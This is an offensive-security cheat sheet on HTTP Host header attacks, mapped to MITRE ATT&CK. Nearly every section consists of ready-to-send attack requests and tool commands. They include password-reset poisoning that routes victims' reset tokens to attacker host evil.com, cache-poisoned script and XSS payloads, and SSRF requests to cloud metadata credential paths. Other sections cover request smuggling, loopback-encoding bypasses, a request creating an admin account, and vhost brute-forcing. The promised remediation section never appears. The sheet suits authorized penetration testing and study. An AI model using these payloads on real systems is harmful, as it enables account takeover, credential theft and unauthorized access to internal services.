A complete operational reference for HTTP Host Header Attacks covering password reset poisoning, web cache poisoning, SSRF via Host header, routing-based SSRF, request smuggling pivots, virtual host brute-forcing, CORS via Host injection, and middleware abuse. Covers detection, exploitation chains, tool usage, and remediation. Mapped to MITRE ATT&CK T1071.001 / T1190 / T1557.
1. Core Concepts & Attack Types
HTTP HOST HEADER ATTACK TAXONOMY:
HOST HEADER ATTACKS
├── PASSWORD RESET POISONING
│ └── Inject attacker-controlled domain → victim clicks poisoned link
│
├── WEB CACHE POISONING
│ └── Host header reflected into cached response → served to other users
│
├── SSRF (Server-Side Request Forgery via Host)
│ ├── Classic SSRF → host header used in internal backend request
│ └── Routing-Based SSRF → load balancer/proxy forwards to internal host
│
├── HOST HEADER → XSS
│ └── Host value reflected unsanitized into HTML → stored/reflected XSS
│
├── VIRTUAL HOST DISCOVERY
│ └── Brute-force Host headers → reveal hidden internal vhosts
│
├── AUTHENTICATION BYPASS
│ └── Internal host values bypass access controls (127.0.0.1, admin.)
│
└── DANGLING MARKUP
└── Partial HTML injection via Host → exfiltrate page content
Key Terms:
- Host Header — HTTP/1.1 mandatory header specifying the domain the client wants to contact. Value: Host: example.com.
- Absolute-Form Request — request line includes full URL: GET http://example.com/path HTTP/1.1. Can conflict with Host header.
- Virtual Hosting — multiple websites served from one IP, differentiated by Host header.
- Reverse Proxy — intermediary that routes requests to backend servers. Trusts Host header to determine routing.
- Forwarding Headers — X-Forwarded-Host, X-Forwarded-For, X-Host, X-Forwarded-Server — often trusted by backends when Host header is "validated" at the proxy layer.
- Cache Poisoning — tricking a cache into storing a response to a poisoned request, served to future users.
- Routing-Based SSRF — when the Host header is used by a load balancer or proxy to determine which backend to route to; injecting an internal IP causes the proxy to forward to internal infrastructure.
- Password Reset Poisoning — injecting an attacker-controlled domain into the Host so that the app builds a password reset link pointing to the attacker's server.
- Ambiguous Host — sending multiple Host headers or a Host with unexpected formatting that causes parsing differences between proxy and backend.
Why It Happens:
User/Attacker → Reverse Proxy / CDN / Load Balancer → Backend App
│ │ │
│ Host: evil.com │ │
│ ─────────────────────────>│ Host: evil.com (forwarded) │
│ │ ───────────────────────────────────>│
│ │ │
│ │ App trusts Host to build URLs: │
│ │ reset_link = "http://"+Host+"/reset?token=XYZ"
│ │ → http://evil.com/reset?token=XYZ [POISONED]
The root cause: the application uses the Host header to dynamically build URLs, respond with redirects, generate links in emails, or determine which content to serve — without validating that the header matches the expected domain.
2. Detection & Injection Points
2.1 Basic Host Header Tampering
# Change Host to attacker-controlled domain:
GET / HTTP/1.1
Host: evil.com
# Add duplicate Host headers:
GET / HTTP/1.1
Host: legitimate.com
Host: evil.com
# Host with port (some parsers strip the port, useful for bypasses):
GET / HTTP/1.1
Host: legitimate.com:evil.com
# Absolute-form URL (may override Host):
GET http://legitimate.com/ HTTP/1.1
Host: evil.com
2.2 Common Injection Points — Headers to Try
Host: → primary target
X-Forwarded-Host: → proxy passthrough header, often trusted by backend
X-Host: → non-standard alias
X-Forwarded-Server: → forwarded server name
X-Original-URL: → Symfony/IIS rewriting header
X-Rewrite-URL: → IIS URL rewriting
X-HTTP-Host-Override: → some frameworks
Forwarded: → RFC 7239 format: Forwarded: host=evil.com
Origin: → sometimes parsed alongside Host for link generation
2.3 Where Host Is Reflected — What to Test
1. Password reset emails → link contains host value
2. Redirect responses (Location:) → Location: http://{HOST}/path
3. HTML responses → <a href="http://{HOST}/path">
4. JavaScript → var baseURL = "http://{HOST}";
5. Content-Security-Policy → report-uri https://{HOST}/csp
6. CORS Access-Control-Allow-Origin → if dynamically set from Host
7. Canonical link tag → <link rel="canonical" href="http://{HOST}/page">
8. Cache key → if Host is part of the cache key
9. API base URL construction → backend API calls to http://{HOST}/internal
10. Server-Side Request → app fetches http://{HOST}/resource internally
2.4 Detection Methodology
Step 1: Send a normal request, observe response
Step 2: Modify Host to a unique Burp Collaborator / interactsh URL
Host: YOUR-COLLABORATOR.oastify.com
→ Check for DNS/HTTP callbacks → confirms Host is used server-side
Step 3: Try alternate headers if Host is validated:
X-Forwarded-Host: YOUR-COLLABORATOR.oastify.com
→ Same callback check
Step 4: Check if Host value is reflected in the response body or headers:
Host: "><img src=x onerror=alert(1)>
→ Check response for unsanitized reflection
Step 5: Password reset flow — observe link in email/response
Host: evil.com → Does reset link contain evil.com?
Step 6: Test cache behavior — send poisoned request, fetch with clean browser
→ Is the poisoned response cached and returned to clean requests?
3. Password Reset Poisoning
HOW IT WORKS: The application generates a password reset link using the Host header value. Attacker modifies Host → app builds reset URL with attacker's domain → victim clicks the link → attacker receives the reset token in their server logs.
ATTACK FLOW:
┌─────────────┐ ┌────────────┐ ┌──────────────────┐
│ Attacker │ │ Server │ │ Victim's Email │
│ │ │ │ │ │
│ POST /reset│ │ │ │ │
│ Host:evil.com ──────>│ │ │ │
│ │ │ Build URL │ │ │
│ │ │ evil.com/reset?t=XYZ│ │
│ │ │ ─────────────────────────────────────> │
│ │ │ │ │ Victim clicks │
│ │ │ │ │ GET evil.com/reset?t=XYZ
│ Receives │<───────────────────────────────────────────────── │
│ token XYZ │ │ │ │ │
└─────────────┘ └────────────┘ └──────────────────┘
3.1 Basic Password Reset Poisoning
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
username=victim@mail.com
# With curl:
curl -s -X POST https://target.com/forgot-password \
-H "Host: evil.com" \
-d "username=victim@mail.com"
# Attacker server (catch the token):
python3 -m http.server 80
# OR:
nc -lvnp 80
3.2 Via X-Forwarded-Host (When Host is Validated)
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
username=victim@mail.com
# Many backends trust X-Forwarded-Host for link generation
# while the proxy validates the actual Host header
3.3 Via Host Header Port Abuse
POST /forgot-password HTTP/1.1
Host: target.com:@evil.com
username=victim@mail.com
# Some URL parsers interpret "target.com:@evil.com" as:
# userinfo = "target.com", host = "@evil.com"
# → Generated link: http://@evil.com/reset?token=XYZ
# → Browser resolves to: http://evil.com/reset?token=XYZ
3.4 Dangling Reset Token Capture
# If you control a subdomain or catch DNS:
# Use interactsh:
interactsh-client
# → Get domain: abc123.oast.fun
# Use in Host header:
POST /forgot-password HTTP/1.1
Host: abc123.oast.fun
# interactsh will show the GET request with the token in the URL path/params
3.5 Full Chain — Reset Poisoning to Account Takeover
1. Identify password reset endpoint: POST /forgot-password
2. Intercept in Burp → modify Host: → YOUR-COLLABORATOR.oastify.com
3. Submit with victim's email
4. Wait for victim to click the link
5. Token arrives at Collaborator → use token to reset victim's password
6. Authenticate as victim
4. Web Cache Poisoning via Host Header
HOW IT WORKS: The cache stores a response indexed by a cache key (usually URL + some headers). If Host is NOT part of the cache key but IS reflected in the response, an attacker can poison the cache with a malicious Host value, and subsequent users (with a clean request) receive the poisoned response.
POISONING LOGIC:
Cache Key: GET / (Host NOT included in key)
↓
Attacker sends: GET / HTTP/1.1
Host: evil.com
↓
Response contains: <script src="http://evil.com/evil.js"></script>
↓
Cache stores this response against cache key: GET /
↓
Victim sends: GET / HTTP/1.1
Host: target.com
↓
Cache returns poisoned response → victim loads evil.js
4.1 Identify Cache Behavior
# Step 1: Send request with a cache-buster to avoid poisoning yourself:
GET /?cb=1234 HTTP/1.1
Host: target.com
# Each unique cb= value = new cache entry
# Step 2: Check response headers for cache indicators:
# X-Cache: HIT / MISS
# Age: N → seconds since cached
# Cache-Control: → max-age, s-maxage
# CF-Cache-Status: → Cloudflare
# X-Varnish: → Varnish cache
# Step 3: Send twice — if second response is faster / X-Cache: HIT → caching confirmed
4.2 Basic Cache Poisoning via Host
GET /?cb=UNIQUE HTTP/1.1
Host: evil.com
# If response body reflects Host and X-Cache shows HIT on repeat → poisoned
# Verify: fetch the same URL without cb= and without modified Host:
curl -s https://target.com/ -H "Host: target.com"
# → If you see "evil.com" in the response → cache is poisoned for other users
4.3 Cache Poisoning via X-Forwarded-Host
GET /?cb=UNIQUE HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# If X-Forwarded-Host is unkeyed and reflected → same attack
# Common pattern: CDN uses Host as cache key, backend uses X-Forwarded-Host for content
# Check:
# 1. First request: X-Cache: MISS (response reflected evil.com)
# 2. Second request (same URL, no X-Forwarded-Host): X-Cache: HIT
# → Cache now serves poisoned response to all users visiting that URL
4.4 Cache Poisoning via X-Host / X-Forwarded-Server
GET / HTTP/1.1
Host: target.com
X-Host: evil.com
X-Forwarded-Server: evil.com
4.5 Discovering Unkeyed Inputs
# Param Miner (Burp Extension) — automated discovery:
# Right-click request → Param Miner → Guess headers
# → Reports unkeyed headers that affect response without affecting cache key
# Manual approach:
# 1. Find a page that reflects a header value
# 2. Send with a unique value (UNIQUEMARKER):
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: UNIQUEMARKER1337.com
# 3. Check if UNIQUEMARKER1337.com appears in response
# 4. Send identical request again (same cb=, no marker) → X-Cache: HIT?
# → If HIT → the header was unkeyed
4.6 Exploiting Reflected Host in JavaScript
# Target page has:
# <script>var url = "http://HOST/api/data";</script>
# Poison with:
GET /?cb=1337 HTTP/1.1
Host: evil.com
# Response becomes:
# <script>var url = "http://evil.com/api/data";</script>
# → Cached → all users execute JS pointing to evil.com
# → Host evil.com → redirect to XSS payload or steal cookies
5. SSRF via Host Header
HOW IT WORKS: The backend application uses the Host header to construct a URL for an internal server-side HTTP request. Injecting a local/internal address causes the server to make a request to internal infrastructure.
SCENARIO:
Application code (pseudo):
internal_check = requests.get("http://" + request.headers["Host"] + "/health")
Attacker injects:
Host: 127.0.0.1
Result:
internal_check = requests.get("http://127.0.0.1/health")
→ Server makes request to its own loopback → bypasses access controls
5.1 Classic SSRF via Host
GET / HTTP/1.1
Host: 127.0.0.1
GET / HTTP/1.1
Host: localhost
GET / HTTP/1.1
Host: 169.254.169.254
# AWS metadata endpoint → credential theft
# Check for interesting responses:
# 200 OK with internal content → SSRF confirmed
# Different response length / content than normal → indicator
# AWS IMDS via Host:
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
# → Returns AWS metadata if backend fetches http://{Host}/latest/meta-data/
5.2 SSRF via X-Forwarded-Host
GET /api/status HTTP/1.1
Host: target.com
X-Forwarded-Host: 169.254.169.254
5.3 SSRF — Internal Port Scanning via Host
GET / HTTP/1.1
Host: 127.0.0.1:8080
GET / HTTP/1.1
Host: 127.0.0.1:6379
# Redis → may accept unauthenticated commands
GET / HTTP/1.1
Host: 127.0.0.1:27017
# MongoDB
GET / HTTP/1.1
Host: 127.0.0.1:5432
# PostgreSQL
# Timing-based port scan via Host SSRF:
# - Open port: fast response
# - Closed port: connection refused → usually fast error or different response
# - Filtered port: timeout → slower response
# Use Burp Intruder with delay measurement or Turbo Intruder
5.4 SSRF — Internal Service Discovery
# Common internal targets via Host SSRF:
Host: 127.0.0.1 # loopback
Host: 10.0.0.1 # common gateway
Host: 192.168.1.1 # common gateway
Host: 169.254.169.254 # AWS/GCP/Azure IMDS
Host: metadata.google.internal # GCP metadata
Host: 100.100.100.200 # Alibaba Cloud IMDS
# AWS IMDS useful paths (if SSRF reached):
/latest/meta-data/
/latest/meta-data/iam/security-credentials/
/latest/meta-data/iam/security-credentials/ROLE_NAME
/latest/user-data
/latest/dynamic/instance-identity/document
5.5 SSRF via Host — Burp Collaborator OOB Confirmation
GET / HTTP/1.1
Host: YOUR-COLLABORATOR.oastify.com
# If Collaborator receives a DNS/HTTP request → Host-based SSRF confirmed
# The backend is making requests using our Host value
6. Routing-Based SSRF (Ambiguous Host)
HOW IT WORKS: In complex multi-layer architectures (CDN → Load Balancer → Backend), the front-end proxy uses the Host header to determine where to route the request. If the front-end trusts the Host header for routing decisions without binding it to a whitelist, injecting an internal IP forces the proxy to forward the entire HTTP request to internal infrastructure.
NORMAL FLOW:
Client → [CDN/LB] → Backend (public.target.com)
Host: target.com → routes to 10.0.1.50
ATTACK FLOW:
Attacker → [CDN/LB] → Internal Admin Panel (10.0.1.99:8080)
Host: 10.0.1.99:8080 → proxy forwards to internal host
→ Attacker accesses internal-only admin panel
6.1 Basic Routing-Based SSRF
GET / HTTP/1.1
Host: 192.168.0.68
GET /admin HTTP/1.1
Host: 192.168.0.1:8080
# If the response differs from the normal 404/redirect → internal routing occurred
# Different server headers, different content-length, different status codes
# = evidence of routing to a different backend
6.2 Combining with Absolute-Form Request
GET https://target.com/ HTTP/1.1
Host: 192.168.0.1
# Some proxies use the absolute URI for routing but pass Host to the backend
# Others use Host for routing → internal target receives the request
6.3 Brute-Forcing Internal IPs via Host
# Use Burp Intruder or ffuf to iterate over internal IP ranges:
ffuf -u https://target.com/ \
-H "Host: FUZZ" \
-w internal_ips.txt \
-mc 200,302,403 \
-t 10
# Generate IP list:
seq 1 254 | awk '{print "192.168.0."$1}' > internal_ips.txt
seq 1 254 | awk '{print "10.0.0."$1}' >> internal_ips.txt
seq 1 254 | awk '{print "172.16.0."$1}' >> internal_ips.txt
# In Burp Intruder:
# Payload position: Host: §§
# Payload type: Numbers → 1-254, host format: 192.168.0.§1-254§
# Match responses that differ from baseline
6.4 Routing SSRF → Internal Admin Access
# Once internal host is identified (e.g., 192.168.0.99):
# Step 1: Confirm routing:
GET / HTTP/1.1
Host: 192.168.0.99
# Step 2: Enumerate interesting paths on the internal host:
GET /admin HTTP/1.1
Host: 192.168.0.99
GET /actuator HTTP/1.1
Host: 192.168.0.99
# Spring Boot actuator → sensitive data
GET /api/v1/users HTTP/1.1
Host: 192.168.0.99
GET /phpMyAdmin/ HTTP/1.1
Host: 192.168.0.99
7. Host Header Injection → XSS
HOW IT WORKS: The Host header value is reflected in the HTML response without sanitization. If script tags or event handlers can be injected, this leads to XSS. When combined with cache poisoning, this becomes stored XSS for all users.
7.1 Basic Host → Reflected XSS
GET / HTTP/1.1
Host: "><script>alert(document.domain)</script>
GET / HTTP/1.1
Host: evil.com"><img src=x onerror=alert(1)>
# If Host is reflected in a JS variable:
# var base = "http://HOST/";
# Inject:
GET / HTTP/1.1
Host: evil.com";alert(document.domain)//
7.2 XSS via Canonical Link Tag
# App generates: <link rel="canonical" href="http://HOST/page">
# Inject:
GET /page HTTP/1.1
Host: evil.com"/><script>alert(1)</script>
7.3 XSS via X-Forwarded-Host
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: "><script>alert(1)</script>
7.4 Cache-Poisoned XSS via Host
# Step 1: Find a page where Host is reflected in an HTML sink
# Step 2: Inject XSS payload in Host, include cache buster first to test
GET /?cb=1337 HTTP/1.1
Host: evil.com"><script>alert(1)</script>
# Step 3: Verify XSS reflected in response
# Step 4: Remove cache buster → send same request
GET / HTTP/1.1
Host: evil.com"><script>alert(1)</script>
# Step 5: Verify X-Cache: HIT on follow-up clean request
# → XSS is now stored in cache → served to all users hitting GET /
7.5 Host Header → CSP Bypass
# App sets CSP: default-src 'self' https://HOST/
# Inject:
GET / HTTP/1.1
Host: evil.com
# CSP becomes: default-src 'self' https://evil.com/
# → Attacker can load resources from their own domain
8. Virtual Host Brute-Forcing
HOW IT WORKS: Multiple virtual hosts may be served from a single IP. Development, staging, admin, and internal apps may be hidden behind the same IP but respond only to specific Host headers. Brute-forcing Host values reveals hidden vhosts.
8.1 Manual Virtual Host Discovery
# Try common internal/admin subdomains:
curl -s http://TARGET_IP/ -H "Host: admin.target.com"
curl -s http://TARGET_IP/ -H "Host: dev.target.com"
curl -s http://TARGET_IP/ -H "Host: staging.target.com"
curl -s http://TARGET_IP/ -H "Host: internal.target.com"
curl -s http://TARGET_IP/ -H "Host: api.target.com"
curl -s http://TARGET_IP/ -H "Host: beta.target.com"
curl -s http://TARGET_IP/ -H "Host: test.target.com"
curl -s http://TARGET_IP/ -H "Host: vpn.target.com"
curl -s http://TARGET_IP/ -H "Host: mail.target.com"
curl -s http://TARGET_IP/ -H "Host: jenkins.target.com"
curl -s http://TARGET_IP/ -H "Host: gitlab.target.com"
curl -s http://TARGET_IP/ -H "Host: jira.target.com"
curl -s http://TARGET_IP/ -H "Host: confluence.target.com"
curl -s http://TARGET_IP/ -H "Host: grafana.target.com"
curl -s http://TARGET_IP/ -H "Host: kibana.target.com"
curl -s http://TARGET_IP/ -H "Host: consul.target.com"
8.2 Automated Vhost Brute-Force — ffuf
# Basic vhost brute-force:
ffuf -u http://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-mc 200,301,302,403 \
-fs 0 \
-t 50
# Filter by response size (exclude default "not found" responses):
# First, get the default response size:
curl -s http://TARGET_IP/ -H "Host: doesnotexist.target.com" | wc -c
# → e.g., 1337 bytes
# Then filter that size:
ffuf -u http://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 1337 \
-t 50
# With HTTPS:
ffuf -u https://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 1337 \
-k \
-t 50
8.3 Automated Vhost Brute-Force — gobuster
# gobuster vhost mode (resolves DNS, suitable for CDN-fronted targets):
gobuster vhost \
-u http://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain \
-t 50
# Without DNS resolution (use IP directly):
gobuster vhost \
-u http://TARGET_IP \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--domain target.com \
-t 50
8.4 Automated Vhost Brute-Force — wfuzz
wfuzz -c \
-H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--hc 404 --hl 0 \
http://TARGET_IP/
8.5 Virtual Host Wordlists
# SecLists vhost/subdomain wordlists:
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
# Custom wordlist — internal tools commonly found:
admin, administrator, api, app, backend, beta, ci, confluence,
console, dashboard, dev, devops, docker, grafana, internal,
jenkins, jira, kibana, k8s, lab, ldap, login, mail, management,
monitoring, nexus, ops, portal, proxy, registry, secret,
sonarqube, splunk, staging, test, vpn, wiki, www2
9. Request Smuggling Pivot via Host
HOW IT WORKS: HTTP request smuggling can be combined with Host header injection. A smuggled request can have a different Host header than the outer request. This allows accessing internal virtual hosts or bypassing Host validation on backend servers that normally would only serve requests from the front-end proxy.
9.1 Smuggled Request with Alternate Host
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 63
0
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
# The backend processes the smuggled GET /admin with Host: localhost
# If the admin panel only accepts requests with Host: localhost → bypassed
9.2 Smuggling to Reach Internal Vhost
POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: internal.admin.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
9.3 CL.TE Smuggling with Host Poison
# Front-end uses Content-Length, back-end uses Transfer-Encoding:
POST / HTTP/1.1
Host: target.com
Content-Length: 35
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
# Confirm with:
# 1. Send smuggled request
# 2. Immediately send a normal request
# 3. If normal request returns admin content → smuggling worked
# Tool: smuggler.py
python3 smuggler.py -u https://target.com/
10. Middleware & Reverse Proxy Abuse
HOW IT WORKS: Middleware (Nginx, Apache, HAProxy, Varnish, Caddy, Traefik) often reads the Host header to determine routing, access control, SSL termination, and logging. Abusing how middleware interprets ambiguous or duplicate Host headers can cause security boundary bypasses.
10.1 Nginx — Duplicate Host Headers
GET / HTTP/1.1
Host: target.com
Host: 127.0.0.1
# Nginx (older): takes the last Host header
# App: takes the first Host header
# → Nginx validates "target.com", app sees "127.0.0.1"
# → Bypass of Nginx-level host validation
# Test: Burp Repeater → right-click → "Change request method" → manually add duplicate Host
10.2 Flask/Django — X-Forwarded-Host Trusted by ALLOWED_HOSTS Bypass
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Django DEBUG mode or misconfigured ALLOWED_HOSTS:
# If "target.com" passes ALLOWED_HOSTS but app reads X-Forwarded-Host for URL generation
# → Password reset links built with evil.com even though Host was valid
10.3 Apache — ProxyPassReverse Misconfig
# Apache proxying with ProxyPassReverse without proper Host handling:
# ProxyPassReverse / http://127.0.0.1:8080/
# Without "ProxyPreserveHost On" → backend receives Host from Host header
# Attack: set Host to internal address:
GET / HTTP/1.1
Host: 127.0.0.1:8080
# → Apache proxies to 127.0.0.1:8080 and forwards Host: 127.0.0.1:8080
# → Backend returns internal admin content
10.4 HAProxy / Varnish — Host Header Injection via Newline
# Host header CRLF injection (rare but exists in old versions):
GET / HTTP/1.1
Host: target.com\r\nX-Injected-Header: malicious
# In Burp: use Burp Repeater → enable "Update Content-Length" off
# Manually edit the raw request bytes
# May cause header injection if middleware doesn't strip CRLF
10.5 Traefik — Missing Host Validation on Admin API
# Traefik admin API exposed on same port as production:
GET /api/overview HTTP/1.1
Host: traefik.internal
# If Traefik uses Host-based routing and admin is on a separate vhost:
curl http://TARGET_IP/api/overview -H "Host: traefik.internal"
# → Full Traefik dashboard access → reveals backends, routes, TLS config
11. Authentication Bypass via Host Manipulation
HOW IT WORKS: Some applications check if the request comes from an "internal" source by checking the Host header. Injecting localhost or internal IPs tricks the application into believing the request is internal → bypass access controls.
11.1 Admin Panel Access via Localhost Host
GET /admin HTTP/1.1
Host: localhost
GET /admin/users HTTP/1.1
Host: 127.0.0.1
GET /admin HTTP/1.1
Host: localhost:80
GET /.well-known/admin HTTP/1.1
Host: localhost
11.2 Bypass "Internal Network Only" Checks
# App checks: if (request.host == "localhost") → allow admin
GET /api/internal/users HTTP/1.1
Host: localhost
# Alternate forms:
Host: 127.0.0.1
Host: [::1] # IPv6 loopback
Host: 0177.0.0.1 # Octal representation
Host: 0x7f000001 # Hex representation
Host: 2130706433 # Integer representation of 127.0.0.1
11.3 SSRF → Admin Bypass Chain
# Step 1: Find SSRF-capable endpoint that uses Host:
GET / HTTP/1.1
Host: YOUR-COLLABORATOR.oastify.com
# → OOB callback → SSRF confirmed
# Step 2: Target admin panel:
GET /admin HTTP/1.1
Host: localhost
# Step 3: If admin only checks host OR IP:
GET /admin HTTP/1.1
Host: localhost
X-Forwarded-For: 127.0.0.1
# Step 4: Create admin user or reset admin password via internal API:
POST /admin/createUser HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
username=hacker&password=hacked&admin=true
12. Dangling Markup via Host Header
HOW IT WORKS: If the Host header is reflected in an HTML response but full XSS is blocked (e.g., CSP blocks scripts), partial HTML injection can be used to exfiltrate the page content to an attacker-controlled server via dangling attribute injection.
SCENARIO:
App generates: <a href="http://HOST/reset?token=XYZ">Click here</a>
Inject:
Host: evil.com/path?x=
Result:
<a href="http://evil.com/path?x=/reset?token=XYZ">Click here</a>
^^^^^^^^^^^^^^^^
token captured in URL
→ evil.com receives it in access logs
12.1 Basic Dangling Markup
POST /forgot-password HTTP/1.1
Host: evil.com/path?x=
username=victim@mail.com
# In attacker's server log:
# GET /path?x=/reset?token=SECRETTOKEN HTTP/1.1
# → Token captured without any XSS needed
12.2 Dangling Markup via Img Tag
GET / HTTP/1.1
Host: evil.com"><img src="https://evil.com/
<!-- Response becomes: -->
<a href="http://evil.com"><img src="https://evil.com/...rest of page content...">
<!-- Everything until next quote is the "src" value -->
<!-- Browser loads image from evil.com including page content in URL if reflected -->
12.3 Dangling Markup — CSP Bypass
# Even with script-src 'self':
# Images/stylesheets from external sources may still be allowed
# Or report-uri points to attacker domain (via Host injection in CSP header itself)
# If app generates CSP:
# Content-Security-Policy: default-src 'self'; report-uri https://HOST/csp-report
# Inject:
GET / HTTP/1.1
Host: evil.com/csp-report?x=
# CSP becomes:
# report-uri https://evil.com/csp-report?x=.../csp-report
# → CSP violation reports go to evil.com
13. Bypass Techniques
13.1 Host Validation Bypass — When Direct Injection Is Blocked
# If app validates Host header matches configured domain:
# Technique 1 — Add port number:
Host: target.com:attacker.com
# Some parsers treat ":attacker.com" as port → but URL is built including it
# Technique 2 — Inject via X-Forwarded-Host when Host is validated:
Host: target.com
X-Forwarded-Host: evil.com
# Technique 3 — Try non-standard headers:
Host: target.com
X-Host: evil.com
X-Forwarded-Server: evil.com
X-Original-Host: evil.com
# Technique 4 — Override with absolute-form URL:
GET http://evil.com/ HTTP/1.1
Host: target.com
# Technique 5 — Duplicate Host headers:
Host: evil.com
Host: target.com
# Different parsers take first vs last
# Technique 6 — Whitespace injection:
Host: evil.com # leading whitespace
Host: evil.com # trailing whitespace
Host: evi l.com # embedded whitespace (rarely works)
# Technique 7 — Case variation:
HOST: evil.com
host: evil.com
13.2 Bypassing Host Whitelist via Subdomain
# If app validates that Host contains "target.com":
# Subdomain trick:
Host: target.com.evil.com # contains "target.com" as substring
# Path trick:
Host: evil.com/target.com
# URL encoding:
Host: target%2ecom@evil.com # %2e = "." → some parsers decode before checking
# Mixed:
Host: target.com.attacker.com
# → Contains "target.com" as prefix → passes naïve check
13.3 IPv6 and Encoding Bypasses
# IPv6 loopback:
Host: [::1]
Host: [::ffff:127.0.0.1]
# Decimal encoding:
Host: 2130706433 # 127.0.0.1 as integer
Host: 0x7f000001 # 127.0.0.1 as hex
# Octal:
Host: 0177.0.0.1
# Mixed encodings:
Host: 127.0.0x1 # hex octet
Host: 127.0x0.0.1 # hex in different position
# CIDR bypass (rare):
Host: 127.0.0.0/8
13.4 Header Injection via CRLF in Host
# Inject newline to add headers:
# (Most modern parsers block this — test on older systems)
GET / HTTP/1.1
Host: target.com%0d%0aX-Injected: header
# If parsing is lax, backend sees:
# Host: target.com
# X-Injected: header
13.5 WAF / Validation Bypass Strategy
1. Try Host directly → blocked
2. Try X-Forwarded-Host → blocked
3. Try X-Host → works?
4. Try combining valid Host with X-Forwarded-Host
5. Try absolute-form URL
6. Try duplicate Host headers (first vs last)
7. Try Host with port containing attacker domain
8. Try different encodings of loopback
9. Use Param Miner (Burp) to fuzz all headers automatically
14. Tool Reference
14.1 Burp Suite — Core Workflow
# In Burp Repeater:
# 1. Find a request with Host header
# 2. Modify Host to Collaborator URL → send → check Collaborator
# 3. Modify Host to 127.0.0.1 → send → observe response changes
# 4. Right-click → "Add header" → test X-Forwarded-Host etc.
# Burp Collaborator:
# Burp menu → Burp Collaborator client → Copy to clipboard
# Use the .oastify.com URL in Host header
# → Click "Poll now" to see callbacks
# Param Miner (Burp Extension):
# Right-click any request → Param Miner → Guess headers
# → Discovers unkeyed headers and hidden parameters
# → Reports injections that affect response without affecting cache key
# Burp Active Scanner:
# Right-click request → Scan → includes Host header injection checks
14.2 ffuf — Vhost + Header Fuzzing
# Vhost discovery:
ffuf -u https://target.com/ \
-H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-mc 200,302,403 \
-fs 1337 \
-t 50 \
-o results.json
# Fuzzing alternate Host headers:
ffuf -u https://target.com/ \
-H "X-Forwarded-Host: FUZZ" \
-w hosts.txt \
-mc 200 \
-t 20
# Fuzzing internal IPs via routing SSRF:
ffuf -u https://target.com/ \
-H "Host: FUZZ" \
-w internal_ips.txt \
-mc 200 \
-fs 1337 \
-t 20
# Generate internal_ips.txt:
python3 -c "
for i in range(1, 255):
print(f'192.168.0.{i}')
print(f'10.0.0.{i}')
print(f'172.16.0.{i}')
" > internal_ips.txt
14.3 gobuster — Vhost Mode
# Append domain mode (recommended):
gobuster vhost \
-u https://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain \
-t 50 \
--no-error
# Direct IP mode:
gobuster vhost \
-u http://TARGET_IP \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--domain target.com \
-t 50
# With custom resolver (bypass DNS):
gobuster vhost \
-u https://target.com \
-w subdomains.txt \
--append-domain \
-r 8.8.8.8 \
-t 50
14.4 curl — Quick Host Header Testing
# Test modified Host:
curl -sk https://target.com/ -H "Host: evil.com" -v
# Test X-Forwarded-Host:
curl -sk https://target.com/ \
-H "Host: target.com" \
-H "X-Forwarded-Host: evil.com" -v
# Test localhost routing:
curl -sk https://target.com/admin \
-H "Host: localhost" -v
# Test AWS IMDS via Host SSRF:
curl -sk https://target.com/ \
-H "Host: 169.254.169.254" -v
# Follow redirects:
curl -skL https://target.com/ -H "Host: evil.com" -v
# Show response headers only:
curl -sk https://target.com/ -H "Host: evil.com" -I
14.5 interactsh — OOB Callbacks
# Install:
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Run:
interactsh-client
# → Gives: abc123.oast.fun
# Use in Host header:
GET / HTTP/1.1
Host: abc123.oast.fun
# → interactsh shows DNS/HTTP callbacks confirming Host-based SSRF
# With http:
GET / HTTP/1.1
Host: abc123.oast.fun
X-Forwarded-Host: abc123.oast.fun
14.6 nuclei — Automated Detection
# Run Host header injection templates:
nuclei -u https://target.com \
-t nuclei-templates/vulnerabilities/generic/host-header-injection.yaml \
-v
# All SSRF templates:
nuclei -u https://target.com \
-tags ssrf \
-v
# With interactsh OOB:
nuclei -u https://target.com \
-tags host-header,ssrf \
-interactsh-url https://abc123.oast.fun \
-v
14.7 Param Miner — Header Discovery (Burp Extension)
# Install via Burp BApp Store: Param Miner
# Usage:
# Right-click any HTTP request in Burp → Param Miner → Guess headers
# → Tries hundreds of header names
# → Reports any that change the response (candidates for injection)
# → Look for: X-Forwarded-Host, X-Host, X-Original-URL, X-Forwarded-Server
# Automated cache poisoning:
# Right-click → Param Miner → Guess params (includes cache-poisoning detection)
